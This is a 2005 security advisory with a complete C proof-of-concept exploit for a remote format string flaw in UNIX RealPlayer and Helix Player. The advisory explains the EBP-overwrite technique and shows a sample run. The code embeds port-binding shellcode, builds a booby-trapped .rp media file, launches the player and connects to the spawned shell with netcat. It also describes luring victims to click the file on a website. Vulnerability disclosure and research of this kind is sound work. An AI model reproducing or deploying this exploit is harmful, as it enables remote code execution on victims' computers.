/*
  ************************************************************************************ \
*****************************  $ An open security advisory #13 - RealPlayer and Helix \
                Player Remote Format String Exploit
  ************************************************************************************ \
*****************************  1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
  2: Bug Released: September 26th 2005
  3: Bug Impact Rate: Hi
  4: Bug Scope Rate: Remote
  ************************************************************************************ \
*****************************  $ This advisory and/or proof of concept code must not \
                be used for commercial gain.
  ************************************************************************************ \
*****************************

  UNIX RealPlayer && Helix Player
  http://real.com
  http://helixcommunity.org

  "The Helix Player is the Helix Community's open source media player for consumers. \
It is being developed  to have a rich and usable graphical interface and support a \
variety of open media formats like Ogg Vorbis,  Theora etc. 
  The RealPlayer for Linux is built on top of the Helix Player for Linux and includes \
support for several  non-open source components including RealAudio/RealVideo, MP3 \
etc."

  There is a remotly exploitable format string vulnerability in the latest Helix \
Media Player suit that will  allow an attacker the possibility to execute malicious \
code on a victims computer. The exploit code will  execute a remote shell under the \
permissions of the user running the media player, and effects all versions  of \
RealPlayer and Helix Player.

  The bug is exploitable by abusing media, including .rp (relpix)and .rt (realtext) \
file formats. Although  others may be effected I stick to realpix file format for \
this advisory.

  Almost all media file input is placed on the heap, so it's not possible to just pop \
our way to a supplied  string like with a normal stack based format bug, as such we \
can't directly modify GOT, DTORS, etc. leaving  us limited to what we can do.

  There are several places where we can control the flow of execution:

       popN - call *0x04(eax) - eax is controlled
       popN+N - call *0x20(eax) - eax is controlled
       popN+NN - call *0x100(edx) - edx is controlled
       popN+NNN - ebp - ebp is controlled
       popN+NNNN - eip - eip is controlled
       ....

  however since we are limited to the size of the value that can be written, it \
doesn't seem possible to  point at a known good location directly. Since our \
shellcode is always mapped via the .rp file between  0x0822**** - 0x082f**** and with \
control of one pointer at a time usually, we can not reach the LSB, we  are toast.

  In a phrack paper, Riq talks about using sections of the base pointer to create a 4 \
byte pointer by  chaining EBP like so:

  [Frame 10 EBP]--points to-->[Frame 11 EBP]--points to-->[Frame 12 EBP]

  And can be manipulated something like so:

  --------     --------     --------
  Frame 10     Frame 11     Frame 12
  --------     --------     --------
                1|------------\/
  [LSBMSB]     [LSBMSB]--   [41414141]
      2|____________^  3|__________^ 

  Well, it doesn't work :-( ..ebp gets moved to esp in frame 11 and it ends with EIP \
pointing at 0x00000000.

  So what else can I do?

  How about use the fact the file being played is under my control and only the MSB \
needs overwritten. This  solves the problem with the size of the valaue I can write. \
It is possible to modify the MSB of an EBP  that is reachable, eventually leading to \
EIP pointing at some good location after "mov %ebp,%esp" happens,  resulting in the \
execution of our shellcode.

	1-> Create a file with shellcode address `printf "\x37\x13\x12\x08"`.rp
	2-> Overwrite EBP MSB with the address of the file location on the stack
	3-> EBP is moved to ESP
	4-> EIP is changed to ESP value
	5-> EIP is owned, shell is spawned

  Granted this is not a stable method as the user can freely manipulate their \
environment, and we use the  file name, which is stored in an environment variable to \
trampoline us to the shellcode. However my goal  here is not to create a worm but a \
proof-of-concept  :p 

  The supplied POC should work flawlessly on Debian 3.1, with RealPlayer installed in \
/usr/local/RealPlayer  and run as shown below.

  Sample local run:

  Test System: Debian 3.1 against RealPlayer10.0.5.756 Gold

  Window 1:
  ---------
  c0ntex@debauch:~$ netstat -an --ip
  Active Internet connections (servers and established)
  Proto Recv-Q Send-Q Local Address           Foreign Address         State
  tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
  tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN
  tcp        0      0 192.168.88.133:22       192.168.88.1:2080       ESTABLISHED
  udp        0      0 0.0.0.0:68              0.0.0.0:*
  c0ntex@debauch:~$ ./helix4real

  Remote format string exploit POC for UNIX RealPlayer && HelixPlayer
  Code tested on Debian 3.1 against RealPlayer 10 Gold's latest version
  by c0ntex || c0ntexb@gmail.com || http://www.open-security.org

  [-] Creating file [VY~Ò.rp]
  [-] Using [148] stack pops
  [-] Modifying EBP MSB with value [64105]
  [-] Completed creation of test file!
  [-] Executing RealPlayer now...
  [-] Connecting to shell in 10 seconds
  ** YOU MIGHT HAVE TO HIT RETURN ON REALPLAYER WINDOW ** 

  (realplay.bin:22202): Pango-WARNING **: Invalid UTF-8 string passed to \
pango_layout_set_text()

  (realplay.bin:22202): Pango-WARNING **: Invalid UTF-8 string passed to \
pango_layout_set_text()

  ps -ef | tail -12;
  ...
  c0ntex    1631  1624  0 01:10 pts/2    00:00:00 /bin/sh /usr/bin/realplay \
./VYF&(?.rp  c0ntex    1636  1631  4 01:10 pts/2    00:00:02 /bin//sh
  c0ntex    1637  1636  0 01:10 pts/2    00:00:00           ?   ²ÿ¿f   ? ?\    ?   ? \
.rp  c0ntex    1638  1637  0 01:10 pts/2    00:00:00           ?   ²ÿ¿f   ? ?\    ?  \
?       .rp  c0ntex    1639  1636  0 01:10 pts/2    00:00:00 \
/usr/local/RealPlayer/realplay.bin ./VYF&(?.rp  c0ntex    1640  1636  0 01:10 pts/2   \
00:00:00 /usr/local/RealPlayer/realplay.bin ./VYF&(?.rp  c0ntex    1641  1637  0 \
01:10 pts/2    00:00:00           ?   ²ÿ¿f   ? ?\    ?   ?       .rp  c0ntex    1642 \
1637  0 01:10 pts/2    00:00:00           ?   ²ÿ¿f   ? ?\    ?   ?       .rp  c0ntex \
                1643  1637  0 01:10 pts/2    00:00:00           ?   ²ÿ¿f   ? ?\    ? \
                ?       .rp
  ...

  To exploit this remotly, a user just needs to place the created file on a web site \
and provide a link so  users can click the file, launching RealPlayer and exploiting \
the vulnerability.

  Real have been duely informed about this issue and are fixing. Sadly though, it \
seems someone is trying to  pinch my research, as such I have been forced to release \
this advisory sooner than hoped. Until Real get  a new release out, do not play \
untrusted media with RealPlayer or HelixPlayer. Sorry Real.com!

  Moral of the story, don't talk about personal research on IRC. Thank you \
plagiarizers.

  PS: A new RSS feed for the latest 5 Open Security Group Advisories, @ \
http://www.open-security.org/adv.xml  is now available.

 */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFFER          10000
#define EBPMSB          64105
#define HOST            "localhost"
#define NETCAT          "/bin/nc"
#define NOPS            0x90
#define STACKPOP        148
#define VULN            "/usr/local/RealPlayer/realplay"

char filename[]="\x56\x59\x14\x82\x26\x08\x2e\x72\x70";

/* metasploit port binding shellcode = 4444 */
char hellcode[]="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66"
                "\x58\x99\x89\xe1\xcd\x80\x96\x43\x52"
                "\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a"
                "\x66\x58\x50\x51\x56\x89\xe1\xcd\x80"
                "\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56"
                "\x43\x89\xe1\xb0\x66\xcd\x80\x93\x6a"
                "\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
                "\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68"
                "\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
                "\xe1\xcd\x80";


int
filegen(char *shellcode)
{
     FILE *rp;

     printf("[-] Creating file [%s]\n", filename);

     rp = fopen(filename, "w");
     if(!rp) {
           puts("[!] Could not fopen file!");
           free(shellcode);
           return(EXIT_FAILURE);
     }

     printf("[-] Using [%d] stack pops\n[-] Modifying EBP MSB with value [%d]\n", \
STACKPOP, EBPMSB);

     fprintf(rp,
                     "<imfl>\n"
                     "<head\n"
                     "duration=\"1:33.7\"\n"
                     "timeformat=\"dd:hh:mm:ss.xyz\"\n"
                     "preroll=\"1:33.7\"\n"
                     "bitrate=\"1337\"\n"
                     "width=\"69\"\n"
                     "height=\"69\"\n"
                     "aspect=\"\"\n"
                     "url=\"http://www.open-security.org\"/>\n"
                     "<image handle=\"%%.%du%%%d$hn\" name=\"findme%s\"/>\n"
                     "<fadein start=\"0\" duration=\"0:01\" target=\"2\"/>\n"
                     "</imfl>", EBPMSB, STACKPOP, shellcode);
      fclose(rp);

      free(shellcode); shellcode = NULL;

      return(EXIT_SUCCESS);
}


int
main(int argc, char **argv)
{
     char *shellcode = NULL;

     puts("\nRemote format string exploit POC for UNIX RealPlayer && HelixPlayer");
     puts("Code tested on Debian 3.1 against RealPlayer 10 Gold's latest version");
     puts("by c0ntex || c0ntexb@gmail.com || http://www.open-security.org\n");

     shellcode = (char *)malloc(BUFFER);
     if(!shellcode) {
           puts("[!] Could not malloc");
           return(EXIT_FAILURE);
     }

     memset(shellcode, NOPS, BUFFER);
     memcpy(&shellcode[BUFFER-strlen(hellcode)], hellcode, strlen(hellcode));
     shellcode[BUFFER] = '\0';

     filegen(shellcode);

     puts("[-] Completed creation of test file!\n[-] Executing RealPlayer now...");

     switch(fork()) {
            case -1:
                    puts("[!] Could not fork off, bailing!");
                    return(EXIT_FAILURE);
            case 0:
                    if(execl(VULN, "realplay", filename, NULL) <0) {
                            puts("[!] Could not execute realplayer... :(");
                            return(EXIT_FAILURE);
                    }
     }

     puts("[-] Connecting to shell in 10 seconds\n** YOU MIGHT HAVE TO HIT RETURN ON \
REALPLAYER WINDOW **");  sleep(10);

     if(execl(NETCAT, "nc", HOST, "4444", NULL) <0) {
            puts("[!] Could not connect, check the core file!");
            return(EXIT_FAILURE);
     }

     return(EXIT_SUCCESS);
}